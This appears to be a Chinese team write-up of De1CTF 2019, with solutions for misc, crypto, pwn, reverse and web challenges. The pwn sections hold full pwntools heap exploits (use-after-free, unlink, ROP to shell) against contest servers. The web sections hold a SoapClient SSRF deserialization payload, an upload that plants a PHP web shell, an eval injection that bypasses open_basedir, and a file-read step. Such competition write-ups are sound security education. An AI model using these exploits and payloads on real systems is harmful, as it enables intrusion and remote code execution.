De1CTF 2019 天枢 WriteUp

2019-08-06 约 2954 字 预计阅读 14 分钟

声明:本文 【De1CTF 2019 天枢 WriteUp】 由作者 Dubhe 于 2019-08-06 07:26:00 首发 先知社区 曾经 浏览数 36 次

感谢 Dubhe 的辛苦付出!

Misc

Mine Sweeping

勇气、危机、未知、热血、谋略,的3A级游戏大作——扫雷

题目是一个Unity游戏,将其Assembly-CSharp.dll放到dnSpy里,看到其地图分析的逻辑。找到其地图相关的信息。

找到了一个DevilsInHeaven数组,但这个数组并不是按照顺序来的,其中的每一个数据,是从下往上的某一列的数据,1为有雷,0为没有。

然后还找到了Changemap的函数,该函数说明了这个雷的分布也不是完全和前面那个数组一样的,有一些位置(6个)被进行了随机。

这个扫雷雷太多了,所以是不可能正常的扫出来的。

由于ChangeMap改的非常少,所以每次的图其实差别不大。发现了左上左下和右下的大方框和右上的小方框,感觉是向左旋转90度的二维码。

然后一列一列试DevilsInHeaven数组中的数据,找到对应的列

然后整出二维码,扫描二维码得flag

Deep Encrypt

一道机器学习的题目,给了模型,直接加载模型,看其结构,发现是wx+b=y的线性模型,已知y求x,因为w不是方阵,不能简单通过求逆得到,这里将给定的y作为目标,用梯度下降训练,把wx+b中的w当成输入,x当成参数,训练x直到满足条件

import h5py
import numpy as np
import keras.models as models
import tensorflow as tf


def mse(true, predict):
    loss = np.average(np.abs(true - predict))
    return loss


input_file = np.loadtxt('DeepEncrypt/flag_sample.txt')
output_file = np.loadtxt('DeepEncrypt/enc_sample.txt')

model = models.load_model('DeepEncrypt/enc.hdf5')
model.summary()
layer1 = model.get_layer(index=1)
weights = layer1.get_weights()
W = weights[0]
b = weights[1]
print('W:', np.shape(W), 'b:', np.shape(b))

label = np.loadtxt('DeepEncrypt/flag_enc.txt')

input_op = tf.placeholder(tf.float32, [128, 64])
label_op = tf.placeholder(tf.float32, [64])

W_op = tf.Variable(tf.truncated_normal([1, 128]))
pred = tf.matmul(tf.sigmoid(W_op), input_op)

loss = tf.reduce_mean(tf.abs(label_op - pred))
optimizer = tf.train.AdamOptimizer(learning_rate=1e-3)
train_op = optimizer.minimize(loss)

with tf.Session() as sess:
    sess.run(tf.global_variables_initializer())
    for i in range(10000):
        _, loss_value = sess.run([train_op, loss],
                                 feed_dict={input_op: W, label_op:label - b})
        if i % 100 == 0:
            print(i, loss_value)

    result = np.array(sess.run(W_op))
    result[result > 0.5] = 1
    result[result < 0.5] = 0
    print(result.astype(np.uint8))
    print(mse(np.matmul(result, W) + b, label))

Crypto

xorz

flag位数较短,所以对flag逐字符爆破,对flag每一个字符使其与ciphertext对应位置的字符做xor,因为猜测plaintext为英文,所以xor结果如果在英文文字范围内即可能正确,然后再逐字符拼接成有意义的flag

import string
length = 30
flag_dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_'
plain_dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,. '
cipher = '1e5d4c055104471c6f234f5501555b5a014e5d001c2a54470555064c443e235b4c0e590356542a130a4242335a47551a590a136f1d5d4d440b0956773613180b5f184015210e4f541c075a47064e5f001e2a4f711844430c473e2413011a100556153d1e4f45061441151901470a196f035b0c4443185b322e130806431d5a072a46385901555c5b550a541c1a2600564d5f054c453e32444c0a434d43182a0b1c540a55415a550a5e1b0f613a5c1f10021e56773a5a0206100852063c4a18581a1d15411d17111b052113460850104c472239564c0755015a13271e0a55553b5a47551a54010e2a06130b5506005a393013180c100f52072a4a1b5e1b165d50064e411d0521111f235f114c47362447094f10035c066f19025402191915110b4206182a544702100109133e394505175509671b6f0b01484e06505b061b50034a2911521e44431b5a233f13180b5508131523050154403740415503484f0c2602564d470a18407b775d031110004a54290319544e06505b060b424f092e1a770443101952333213030d554d551b2006064206555d50141c454f0c3d1b5e4d43061e453e39544c17580856581802001102105443101d111a043c03521455074c473f3213000a5b085d113c194f5e08555415180f5f433e270d131d420c1957773f560d11440d40543c060e470b55545b114e470e193c155f4d47110947343f13180c100f565a000403484e184c15050250081f2a54470545104c5536251325435302461a3b4a02484e12545c1b4265070b3b5440055543185b36231301025b084054220f4f42071b1554020f430b196f19564d4002055d79'.decode('hex')
list_flag = []
for i in range(0,length):
   list_i = []
   for flag_byte in flag_dic:
       count = 0
       for j in range(i,600,length):
           if chr(ord(flag_byte)^ord(cipher[j])) in plain_dic:
               count += 1
       if count>=600/length-1:
           list_i.append(flag_byte)
   list_flag.append(list_i)
print list_flag

Baby Rsa

各种方法混搭,用到了低加密指数攻击、低加密指数广播攻击、e与phi(n)不互素时开方、yafu分解两个大小接近的p和q

最后一步解用到的方法:
https://blog.csdn.net/chenzzhenguo/article/details/94339659
结果:
de1ctf{9b10a98b-71bb-4bdf-a6ff-f319943de21f}

Baby lfsr

题目给了一个lfsr,隐藏了mask和初始的key,mask和key的长度是256bit;又给出了504位的输出。先爆破8bit,把输出补充到512bit,mask,最后用mask还原出key。爆破的时候检查矩阵的rank和flag的哈希值。

from sage.all_cmdline import *
import hashlib

GF2 = GF(2);
def pad(m):
    pad_length = 8 - len(m)
    return pad_length*'0' + m

for x in range(2 ** 8):
    a = '001010010111101000001101101111010000001111011001101111011000100001100011111000010001100101110110011000001100111010111110000000111011000110111110001110111000010100110010011111100011010111101101101001110000010111011110010110010011101101010010100101011111011001111010000000001011000011000100000101111010001100000011010011010111001010010101101000110011001110111010000011010101111011110100011110011010000001100100101000010110100100100011001000101010001100000010000100111001110110101000000101011100000001100010'
    a = a + pad(bin(x)[2:])
    #print a, len(a)

    A = []
    for i in range(512-256):
        A.append([int(op) for op in a[i:i+256]])
    A = matrix(GF2,A)
    #print A.rank()
    if A.rank() != 256:
        continue
    last = a[256:]
    b = [int(op) for op in last]
    b = vector(GF2, b)

    mask = A.solve_right(b)
    sss = ''
    for x in range(256):
        sss += str(mask[x])
    print  sss
    mask = int(sss, 2)


    #mask = 0b0000100101000010111000001101111011101111100010110001001110100000011100101110001111100001011110000111110011000111011100010010001111100111010111011111000100111111010000110001111001000001000110000010110000111011010001111000101000101101010101011010110100000000

    N = 256
    F = GF(2)

    b = a
    R = [vector(F, N) for i in range(N)]

    for i in range(N):
        R[i][N - 1] = mask >> (N-1 - i) & 1

    for i in range(N - 1):
        R[i + 1][i] = 1

    M = Matrix(F, R)
    M = M ** N
    vec = vector(F, N)
    row = 0
    for i in range(N / 8):
        t = int(a[i*8:i*8+8],2)
        for j in xrange(7, -1, -1):
            vec[row] = t >> j & 1
            row += 1

    print 'rank of M:',rank(M)
    if M.rank() != 256:
        continue


    num = int(''.join(map(str, list(M.solve_left(vec)))), 2)
    print num
    KEY = num
    FLAG = "de1ctf{"+hashlib.sha256(hex(KEY)[2:].rstrip('L')).hexdigest()+"}"
    if FLAG[7:11]=='1224':
        print FLAG
        break

Pwn

Weapon

没有输出的UAF堆题,通过stdout泄漏地址即可,需要爆破一下。

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

def add(p, idx, size, content):
    p.sendlineafter('choice >> ', str(1))
    p.sendlineafter('wlecome input your size of weapon: ', str(size))
    p.sendlineafter('input index: ', str(idx))
    p.sendafter('input your name:', content)


def delete(p, idx):
    p.sendlineafter('choice >> ', str(2))
    p.sendlineafter('input idx :', str(idx))    


def edit(p, idx, content):
    p.sendlineafter('choice >> ', str(3))
    p.sendlineafter('input idx: ', str(idx))
    p.sendafter('new content:', content)



def pwn():
    DEBUG = 0

    if DEBUG == 1:
        p = process('./pwn')
        gdb.attach(p)
    else:
        p = remote('139.180.216.34', 8888)

    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

    add(p, 0, 0x60, 'sunichi'.ljust(0x58, '\x00') + p64(0x70))
    add(p, 1, 0x60, 'sunichi')
    add(p, 2, 0x60, 'sunichi')
    add(p, 3, 0x60, 'sunichi')
    add(p, 4, 0x60, 'sunichi')

    add(p, 7, 0x60, 'sunichi')
    add(p, 8, 0x60, 'sunichi')
    add(p, 9, 0x60, 'sunichi')

    delete(p, 0)
    delete(p, 2)

    edit(p, 2, '\x60')
    add(p, 2, 0x60, 'sunichi')
    add(p, 5, 0x60, p64(0) + p64(0x70+0x71))

    delete(p, 1)

    edit(p, 5, p64(0) + p64(0x71) + '\xdd\x25')

    delete(p, 0)
    delete(p, 3)

    edit(p, 3, '\x70')

    add(p, 3, 0x60, 'sunichi')
    add(p, 1, 0x60, 'sunichi')
    payload = '\x00\x00\x00' + 6 * p64(0) + p64(0xfbad1800) + p64(0) * 3 + '\x00'
    add(p, 6, 0x60, payload)

    p.recvuntil(p64(0xfbad1800) + p64(0) * 3)

    recv = p.recv(8)
    libc.address = u64(recv) - (0x00007ffff7dd2600 - 0x00007ffff7a0d000)

    delete(p, 8)
    edit(p, 8, p64(libc.symbols['__malloc_hook'] - 0x13))
    add(p, 8, 0x60, 'sunichi')
    add(p, 8, 0x60, '\x00\x00\x00' + p64(libc.address + 0xf02a4))

    delete(p, 9)
    delete(p, 9)

    print hex(libc.address)

    p.interactive()
    p.close()

if __name__ == '__main__':
    pwn()

A+B Judge

非预期解

#include <stdlib.h>

void main(void) {
    system("cat flag");
    return;
}

Mimic Note

off-by-null,32位和64位p64和p32的情况刚好不一致,可以利用不同idx的堆块在两边分别unlink。然后同时修改两个程序(核心步骤)的atoi@got到gadget处进行ROP并劫持write@gotsyscall

from pwn import *

#context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']


def add(p, size):
    p.sendlineafter('>> ', str(1))
    p.sendlineafter('size?\n', str(size))


def delete(p, idx):
    p.sendlineafter('>> ', str(2))
    p.sendlineafter('index ?\n', str(idx))


def show(p, idx):
    p.sendlineafter('>> ', str(3))
    p.sendlineafter('index ?\n', str(idx))


def edit(p, idx, content):
    p.sendlineafter('>> ', str(4))
    p.sendlineafter('index ?\n', str(idx))
    p.sendafter('content?\n', content)
    #sleep(0.5)


def pwn(count):
    DEBUG = 0
    arch = ''

    elf32 = ELF('./mimic_note_32')
    elf64 = ELF('./mimic_note_64')

    #if DEBUG == 1 and arch == '64':
    #    p = process('./mimic_note_64')
    #elif DEBUG == 1 and arch == '32':
    #    p = process('./mimic_note_32')
    if DEBUG == 1:
        #p = process('./mimic')
        #p = remote('127.0.0.1', 9999)
        p = process('./mimic')
    else:
        p = remote('45.32.120.212', 6666)

    if DEBUG == 1:
        #pass
        gdb.attach(p)


    # 64 bit unlink
    add(p, 0x100-8) # 0
    add(p, 0x100-8) # 1
    add(p, 0x100-8) # 2
    add(p, 0x100-8) # 3
    delete(p, 0)
    payload = 'a' * (0xf0) + p64(0x200)
    edit(p, 1, payload)

    delete(p, 2)

    add(p, 0x1f8) # 0 is 1
    add(p, 0xf8)  # 2

    payload = p64(0) + p64(0xf1) + p64(0x6020b0-0x18) + p64(0x6020b0-0x10)
    payload = payload.ljust(0xf0, '\x00') + p64(0xf0)
    edit(p, 1, payload)
    delete(p, 2)

    # 32 bit unlink
    add(p, 0x100-8)
    add(p, 0x100-8)

    add(p, 0x100-4) # 32 bit 5/6/7
    add(p, 0x100-4)
    add(p, 0x100-4)
    add(p, 0x100-4)

    delete(p, 5)
    payload = 'a' * 0xf8 + p32(0x200)
    edit(p, 6, payload)
    delete(p, 7)

    add(p, 0x1f8+4) # 5 is 6
    add(p, 0xf8+4)  # 7
    payload = p32(0) + p32(0xf9) + p32(0x804a090-0x18/2) + p32(0x804a090-0x10/2)
    payload = payload.ljust(0xf8, '\x00') + p32(0xf8)
    edit(p, 6, payload)
    delete(p, 7)

    # 64 idx 1 /// 32 idx 6

    payload = p64(0) + p64(0x602050) + p64(0x20) + p64(0x602818) + p64(0x1000) + p64(0x602200) + p64(0x1000)[:5]
    edit(p, 1, payload)   #0x602058


    payload = p32(0xf8) + p32(0x804a060) + p32(0x100) + p32(0x804a060) + p32(0x1000)[:3]
    edit(p, 6, payload)
    payload = p32(elf32.got['atoi']) + p32(0x20) + p32(0x804a200) + p32(0x1000) + p32(0x804a7fc) + p32(0x1000) + p32(0x0804a018) + p32(4)
    edit(p, 6, payload)

    edit(p, 3, p32(0x080489fb)) # test

    ############### 64 bit ROP
    # call read to change write@got to syscall
    ROP64 = p64(0x400c2a) + p64(0) + p64(1) + p64(elf64.got['read']) + p64(1) + p64(elf64.got['write']) + p64(0) + p64(0x400C10)
    ROP64 += p64(0) * 2 + p64(0x602700) + p64(0) * 4
    ROP64 += p64(0x400c2a) + p64(0) + p64(1) + p64(elf64.got['read']) + p64(1) + p64(0x602200) + p64(0) + p64(0x400C10)
    ROP64 += p64(0) * 2 + p64(59+0x30) + p64(0) * 3 + '/bin/sh\x00'# 0x602900 binsh

    # set rax
    ROP64 += p64(0x400B2B) + p64(0) + p64(0)

    # call syscall
    ROP64 += p64(0x400c2a) + p64(0) + p64(1) + p64(elf64.got['write']) + p64(0) + p64(0) + p64(0x602900) + p64(0x400C10)
    ROP64 += p64(0) * 2 + p64(0x602700) + p64(0) * 4 + p64(0xdeadbeef) 

    edit(p, 1, ROP64)

    ############### 64 bit ROP

    ############### 32 bit ROP
    read_plt = 0x8048460
    write_got = 0x804A02C
    write_plt = 0x80484D0
    p_4reg_32 = 0x080489f8
    p_ebx_32 = 0x08048439
    bin_sh_addr = 0x804a2e8

    # call read to change write@got to syscall
    ROP32 = p32(read_plt)+p32(p_4reg_32)+p32(0)+p32(0x804a300)+p32(1)+p32(0)
    ROP32 += p32(read_plt)+p32(p_4reg_32)+p32(0)+p32(write_got)+p32(1)+p32(0)
    ROP32 += p32(read_plt)+p32(p_4reg_32)+p32(0)+p32(0)+p32(0)+p32(0)

    # set eax, edx
    ROP32 += p32(0x080489f9) + p32(0) + p32(0) + p32(0xb+0x2c)
    ROP32 += p32(0x8048907)
    ROP32 += p32(0) * 9
    ROP32 += p32(0x8048588)

    # set ebx and call syscall
    ROP32 += p32(p_ebx_32)+p32(bin_sh_addr)+p32(write_plt)

    edit(p, 2, ROP32)

    ############### 32 bit ROP

    # trigger ROP
    payload = p32(0x80489ee) + p32(0) + p64(0x400c2f)[:6]
    edit(p, 0, payload)

    #raw_input()
    payload = p32(0x602800) + p32(0) + p32(0x804a800-8) + p32(0x8048568) + p64(0x400c2d) + p64(0x602800)[:6]
    p.sendafter('>> ', payload)


    ##### first read to change write@got in 64bit
    p.send('\x7b')

    ##### second read to change write@got in 32bit
    p.send(chr(count))

    p.interactive()
    p.close()

if __name__ == '__main__':
        pwn(108) # Bruteforce 32 bit libc

Reverse

Re_sign

upx壳
对用户输入进行魔改后的base64加密,然后再与标准base64编码表下标组成的特定数组进行对比。

Cplusplus

C++的逆向,输入首先被分为三段,每段都是纯数字,格式是12@345#678。之后分别对三段进行验证。第一段实现了Mersenne twister这个伪随机数算法,用户的输入是随机种子,不过会检查用户的输入小于0X6F,这个量级太小了,用x64dbg动态调,然后手动输入就爆破出来了,比较幸运我是从后往前爆破的。
之后第二段直接验证了输入的每一位,比较简单。第三段是由第一段生成的,也很简单。最后就得到了答案。

signal vm

main函数首先fork了一下,子进程首先ptarce_traceme,之后执行一大段非法指令,父进程调用ptrace,对子进程进行trace。
每次子进程出现异常时,父进程都会监控到,拿到子进程的寄存器值和当前执行指令,根据指令进行一系列操作。如同题目一样,实现了基于signal的虚拟机,父进程实际执行子进程的代码。
之后就是逆向分析了,先分析opcode,之后反汇编,反编译,最后看懂代码的含义,逆向。关键的代码对用户输入和7*10的矩阵做乘法,最后和目标矩阵对比。解一个矩阵方程就得到了flag。
opcode手工反编译

opcode                  stat            asm                         comment

06 01 06 00 00 00 00    4               mov  reg_6, num(0)
06 01 03 00 00 00 00    4               mov  reg_3, num(0)
00 00 00 0F             b               jmp  num(0F)                ;jump L0
00 00 00 
CC
L1: check input size
00 01 03 01 00 00 00    5               add  reg_3, 1

L0:
06 00 00 03             4               mov  reg_0, reg_3
06 00 02 00             4               mov  reg_2, reg_0
06 01 00 32 00 00 00    4               mov  reg_0, num(32)
CC
00 00 00 02             5               add  reg_0, reg_2
06 02 00 00             4               load reg_0, mem:reg_0       ;input[0]

30 C0
F6 F8 01 00 00 00 00 00 8               cmp  reg_0, num(0)
00 00 02 D6 FF FF FF    b               jne   num(d6)               ;jump L1

30 C0 
F6 F8 01 03 46 00 00 00 8               cmp  reg_3, num(0x46)       ;len 
00 00 01 15 00 00 00    b               jeq  num(0x15)              ;jump L2

06 01 00 00 00 00 00    4               mov  reg_0, 0
00 00 00 E1 01 00 00    b               jmp num (0x01E1)            ;ret(0)


;-------------------------------------------------------------------------------
L2:
06 01 03 00 00 00 00    4               mov  reg_3, num(0)          ;i = 0
00 00 00 40 01 00 00    b               jmp  num(0x0140)            ;jump L8

L3:
06 01 04 00 00 00 00    4               mov  reg_4, num(0)          ;j = 0
00 00 00 11 01 00 00    b               jmp  num(0x0111)            ;jump L4

L5:
06 01 06 00 00 00 00    4               mov  reg_6, num(0)          ;res = 0
06 01 05 00 00 00 00    4               mov  reg_5, num(0)          ;k = 0
00 00 00 A1 00 00 00    b               jump  num(0xA1)             ;jump L6

L7:
06 00 02 03             4               mov  reg_2, reg_3           ;tmp_1 = i
06 00 00 02             4               mov  reg_0, reg_2
CC 
08 01 00 03 00 00 00    5               LS   reg_0, 3
CC 
01 00 00 02             5               sub  reg_0, reg_2
06 00 02 00             4               mov  reg_2, reg_0           ;tmp_1 = 7*i
06 00 00 05             4               mov  reg_0, reg_5
CC
00 00 00 02             5               add  reg_0, reg_2           ;
06 00 02 00             4               mov  reg_2, reg_0           ;tmp_1 += k 
06 01 00 32 00 00 00    4               mov  reg_0, num(0x32)       ;offset
CC
00 00 00 02             5               add  reg_0, reg_2           ;tmp_1 += 50; tmp_1 = 7*i + k + 50
06 02 01 00             4               load reg_1, mem:reg_0       ;tmp_1 = input[7*i + k]         
06 00 02 05             4               mov  reg_2, reg_5
06 00 00 02             4               mov  reg_0, reg_2
CC 
08 01 00 03 00 00 00    5               LS   reg_0, 3               ;
CC 
01 00 00 02             5               sub  reg_0, reg_2           ;tmp_2 = 7*k
06 00 02 00             4               mov  reg_2, reg_0           
06 00 00 04             4               mov  reg_0, reg_4
CC 
00 00 00 02             5               add  reg_0, reg_2           ;tmp_2 += j
06 00 02 00             4               mov  reg_2, reg_0           
06 01 00 00 00 00 00    4               mov  reg_0, 0
CC 
00 00 00 02             5               add  reg_0, reg_2           ;
06 02 02 00             4               load reg_2, mem:[reg_0]     ;chr = mem[tmp_2] = mem[(7*k + j) ]
06 00 00 01             4               mov  reg_0, reg_1           
CC 
02 00 00 02             5               mult reg_0, reg_2           ;tmp_3 = chr * tmp_1
CC 
04 01 00 00 01 00 00    5               mod  reg_0, num(0x100)      ;tmp_3 %= 0x100
CC
00 00 06 00             5               add  reg_6, reg_0           ;res += tmp3
CC 
04 01 06 00 01 00 00    5               mod  reg_6, num(0x100)      ;res %= 0x100
06 00 00 05             4               mov  reg_0, reg_5
CC 
00 01 00 01 00 00 00    5               add  reg_0, 1
06 00 05 00             4               mov  reg_5, reg_0           ;k += 1
30 C0

L6:
F6 F8 01 05 06 00 00 00 8               cmp reg_5, num(6)
00 00 06 5C FF FF FF    b               jle num(0XFF5C)             ;jump L7

06 00 02 03             4               mov  reg_2, reg_3 
06 00 00 02             4               mov  reg_0, reg_2
CC 
08 01 00 03 00 00 00    5               LS   reg_0, 3               ;
CC 
01 00 00 02             5               sub  reg_0, reg_2           ;tmp_1 = 7 * i
06 00 02 00             4               mov  reg_2, reg_0
06 00 00 04             4               mov  reg_0, reg_4
CC 
00 00 00 02             5               add  reg_0, reg_2           ;tmp_1 += j
06 00 02 00             4               mov  reg_2, reg_0
06 01 00 96 00 00 00    4               mov  reg_0, num(0x96)
CC 
00 00 00 02             5               add  reg_0, reg_2           ;tmp_1 += 0x96
06 00 01 06             4               mov  reg_1, reg_6
06 20 00 01             4               sto  MEM:[reg_0], reg_1     ;mem[tmp_1] = res

06 00 00 04             5               mov  reg_0, reg_4
CC 
00 01 00 01 00 00 00    5               add  reg_0, 1
06 00 04 00             4               mov  reg_4, reg_0           ;j += 1

L4:
F6 F8 01 04 06 00 00 00 b               cmp reg_4, num(6)
00 00 06 EC FE FF FF    8               jle num(0XFFEC)             ;jump L5


06 00 00 03             4               mov reg_0, reg_3            ;i += 1
00 01 00 01 00 00 00    5               add reg_0, 1                
06 00 03 00             4               mov reg_3, reg__0

L8:
F6 F8 01 03 09 00 00 00 8               cmp reg_3, num(9)
00 00 06 BD FE FF FF    b               jle num(0xFFBD)             ;jump L3
;--------------------------------------------------------------------------------

L10:
06 01 03 00 00 00 00    4               mov  reg_3, 0               ;i = 0
00 00 00 63 00 00 00    8               jmp  num(0x63)              ;jump L9

06 00 00 03             4               mov  reg_0, reg_3
06 00 02 00             4               mov  reg_2, reg_0
06 01 00 96 00 00 00    4               mov  reg_0, num(0x96)

CC 
00 00 00 02             5               add  reg_0, reg_2           ;tmp = i + 0x96
06 02 01 00             4               mov  reg_1, reg_0
06 00 00 03             4               mov  reg_0, reg_3
06 00 02 00             4               mov  reg_2, reg_0
06 01 00 FA 00 00 00    4               mov  reg_0, num(0xFA)
CC 
00 00 00 02             5               add  reg_0, reg_2           ;tmp_2 = i + 0xFA
06 02 00 00             4               load reg_0, mem:reg_0       ;reg_0 = mem[tmp_2]

30 C0 
F6 F8 00 01 00          8               cmp  reg_1, reg_0           ;if tmp == tmp_2; i + 0x96 == mm[i + 0xFA]
00 00 01 15 00 00 00    b               jeq  num(15)                ;jump L11

06 01 00 00 00 00 00    4               mov  reg_0, 0               ;ret 0
00 00 00 2F 00 00 00    b               jmp  num(0x2F)              ;jump END

L11:
06 00 00 03             4               mov  reg_0, reg_3
CC
00 01 00 01 00 00 00    5               add  reg_0, 1
06 00 03 00             4               mov  reg_3, reg_0           ;i+=1
30 C0 

L9:
F6 F8 01 03 45 00 00 00 8               cmp  reg_3, num(0x45)       ;i == 0x45
00 00 06 9A FF FF FF    b               jle  num(0xFF9A)            ;jump L10

06 01 00 01 00 00 00    4               mov  reg_0, num(1)          ;ret 1
END:

z3解矩阵方程脚本

from z3 import *

a = [[0xD6, 0x4D, 0x2D, 0x85, 0x77, 0x97, 0x60], 
[0x62, 0x2B, 0x88, 0x86, 0xCA, 0x72, 0x97], 
[0xEB, 0x89, 0x98, 0xF3, 0x78, 0x26, 0x83], 
[0x29, 0x5E, 0x27, 0x43, 0xFB, 0xB8, 0x17], 
[0x7C, 0xCE, 0x3A, 0x73, 0xCF, 0xFB, 0xC7], 
[0x9C, 0x60, 0xAF, 0x9C, 0xC8, 0x75, 0xCD], 
[0x37, 0x7B, 0x3B, 0x9B, 0x4E, 0xC3, 0xDA], 
[0xD8, 0xCE, 0x71, 0x2B, 0x30, 0x68, 0x46], 
[0x0B, 0xFF, 0x3C, 0xF1, 0xF1, 0x45, 0xC4], 
[0xD0, 0xC4, 0xFF, 0x51, 0xF1, 0x88, 0x51]]

b =[[0x41, 0x6C, 0x6D, 0x6F, 0x73, 0x74, 0x20], 
[0x68, 0x65, 0x61, 0x76, 0x65, 0x6E, 0x20], 
[0x77, 0x65, 0x73, 0x74, 0x20, 0x76, 0x69],
[0x72, 0x67, 0x69, 0x6E, 0x69, 0x61, 0x2C], 
[0x20, 0x62, 0x6C, 0x75, 0x65, 0x20, 0x72], 
[0x69, 0x64, 0x67, 0x65, 0x20, 0x6D, 0x6F], 
[0x75, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x73]]

print a
print b
s = Solver()
mat = [[BitVec('x%d' % (x+y*7) , 8) for x in range(7)] for y in range(10)]

for i in range(10):
    for j in range(7):
        res = 0
        for k in range(7):
            res += mat[i][k] * b[k][j]
        s.add(res == a[i][j])

print s.check()
m = s.model()
print m
ans = ''
for i in range(10):
    for j in range(7):
        ans += chr(int(str(m[ mat[i][j]])) )

print ans

Web

SSRF Me

import requests
conn = requests.Session()

url = "http://139.180.128.86"
def geneSign(param):
    data = {
        "param": param
    }
    resp = conn.get(url+"/geneSign",params=data).text
    print resp
    return resp

def challenge(action,param,sign):
    cookie={
        "action":action,
        "sign":sign
    }
    params={
        "param":param
    }
    resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
    return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
    sign = geneSign("{}read".format(filename.format(i)))
    resp = challenge("readscan",filename.format(i),sign)
    if("title" in resp):
        a.append(i)
    print resp,i
print a

ShellShellShell

首先可以通过备份文件下载到源码,
在publish中

function publish()
    {
        ......
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
        .....

存在注入点
然后可以注入出admin密码jaivypassword
但是要求127.0.0.1登录。所以我们通过反序列化漏洞制造SSRF登录

$target = "http://127.0.0.1/index.php?action=login";
$post_string = 'username=admin&password=jaivypassword&code=ff58612ddcaf52008dff6fcc13bda79f';
$headers = array(
    'Cookie: PHPSESSID=9l9ffojnajbukkljoth3ok8gv5',
    'Connection: close'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string.'^^^^^^','uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
// $b = unserialize($aaa);
// $b->a();
echo urlencode($aaa);

之后登录,上传shell以及代理工具,进行内网渗透

POST /index.php HTTP/1.1
Host: 172.18.0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/
Content-Type: multipart/form-data; boundary=---------------------------16260195443769
Content-Length: 705
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------16260195443769
Content-Disposition: form-data; name="hello"
Content-Type: application/octet-stream

/tmp/comrade.php
-----------------------------16260195443769
Content-Disposition: form-data; name="file[1]"
Content-Type: application/octet-stream

abc
-----------------------------16260195443769
Content-Disposition: form-data; name="file[2]"
Content-Type: application/octet-stream

../../../../../../../tmp/comrade.php
-----------------------------16260195443769
Content-Disposition: form-data; name="file"; filename="haha.php"
Content-Type: application/octet-stream

@<?php echo `find / -name "*flag*"`; ?>
-----------------------------16260195443769--

得到flag

Giftbox

login 命令存在注入点
首先通过注入获得admin密码

开始没有意识到totp到interval=5,只好用前端去爆破
之后

from pyotp import TOTP
import requests
import base64
import time
import json

url = "http://222.85.25.41:8090/shell.php"
conn = requests.Session()
totp = TOTP('GAXG24JTMZXGKZBU',8,interval=5)

def send(content):
    param = {
        'a':content,
        "totp":totp.now(),
        "x":"""
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
        """,
    }
    resp = conn.get(url,params=param)
    print(resp.text)
def login():
    send("login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}")
def destruct():
    send("destruct")
def launch():
    send("launch")
def add(name,val):
    assert(len(val) < 13)
    send("targeting {} {}".format(name,val))

login()
destruct()
add("b","{$_GET{x}}")  
add("c","${eval($b)}")  
add("d","$d")  
launch()

flag:de1ctf{h3r3_y0uuur_g1fttt_0uT_0f_b0o0o0o0o0xx}

cloudmusic_rev

将本题的so库与国赛的so库进行了对比,发现除了国赛的漏洞被“修补”外,没有其它改动。但是这个“修补”本身也存在另一个漏洞。当strlen正好为0x70的时候,会导致mem_mframe_data溢出'\x00',进而使后面的mframe_data被修改,正好指回了保存admin密码的位置,使得admin密码被返回。

unsigned __int64 __fastcall read_title(__int64 a1, __int64 a2)
{
  unsigned __int64 result; // rax
  __int64 v2; // rax
  __int64 v3; // rax MAPDST

  result = load_tag((const char *)a1, a2);
  if ( result )
  {
    v2 = tag_get_title(result);
    v3 = parse_text_frame_content(v2);
    result = strlen(*(const char **)(v3 + 8));
    if ( result <= 0x70 )
    {
      mframe_size = strlen(*(const char **)(v3 + 8));
      result = (unsigned __int64)strcpy((char *)&mem_mframe_data, *(const char **)(v3 + 8));
    }
  }
  return result;
}

构造相应的mp3文件

上传得到管理员密码,之后通过固件上传

这其中需要用任意文件读,在share.php
由于其过滤了php关键字,我们直接url编码后base64即可

之后,我们需要知道文件名。

<?php
    mt_srand(time());
    echo time()." | ";
    echo md5(mt_rand().'124.64.17.72')."\n";
import requests
import os
cookie = {
    "PHPSESSID":"dgs7mi8558jubi3nrqrtht929a"
}

file = {
    "file_data":open("fireware","rb")
}

data = {
    "file_id":0
}

os.system("php exp.php")

resp = requests.post("http://222.85.25.41:9090/hotload.php?page=firmware",data=data,files=file,cookies=cookie)

os.system("php exp.php")

print resp.text

之后将文件名填入然后获取版本信息即可。

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now